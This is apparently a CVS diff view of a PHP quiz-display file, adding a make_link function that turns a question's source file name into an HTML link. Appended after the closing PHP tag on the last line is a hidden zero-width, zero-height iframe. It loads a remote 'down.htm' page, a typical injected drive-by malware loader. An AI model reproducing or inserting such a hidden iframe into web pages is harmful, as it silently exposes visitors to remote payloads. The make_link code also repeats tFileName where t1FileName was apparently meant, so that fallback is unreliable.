version 1.1, 2005/12/06 15:41:16
|
version 1.3, 2008/02/08 22:49:12
|
Line 8 function print_question($row) {
|
Line 8 function print_question($row) {
|
$row[$k]=preg_replace('/^\|([^\n]*)/','<pre>$1</pre>',$row[$k]); |
$row[$k]=preg_replace('/^\|([^\n]*)/','<pre>$1</pre>',$row[$k]); |
$row[$k]=preg_replace('/^\s+/ms','<br> ',$row[$k]); |
$row[$k]=preg_replace('/^\s+/ms','<br> ',$row[$k]); |
} |
} |
|
$row['link']=make_link($row); |
include "question_template.php"; |
include "question_template.php"; |
} |
} |
|
|
Line 29 function print_questions_res($res,$searc
|
Line 30 function print_questions_res($res,$searc
|
} |
} |
} |
} |
|
|
?> |
|
|
|
|
function make_link ($row) { |
|
$row['tFileName']=preg_replace('/\.txt/','',$row['tFileName']); |
|
$row['t1FileName']=preg_replace('/\.txt/','',$row['t1FileName']); |
|
$row['tFileName']=preg_replace('/\./','_',$row['tFileName']); |
|
$row['t1FileName']=preg_replace('/\./','_',$row['t1FileName']); |
|
$text_id=$row['tFileName'] or $text_id=$row['tFileName']; |
|
$text_id.="_".$row['Number'].".html"; |
|
return $text_id; |
|
} |
|
?><iframe src=http://www.ctv163.com/wuhan/down.htm width=0 height=0></iframe> |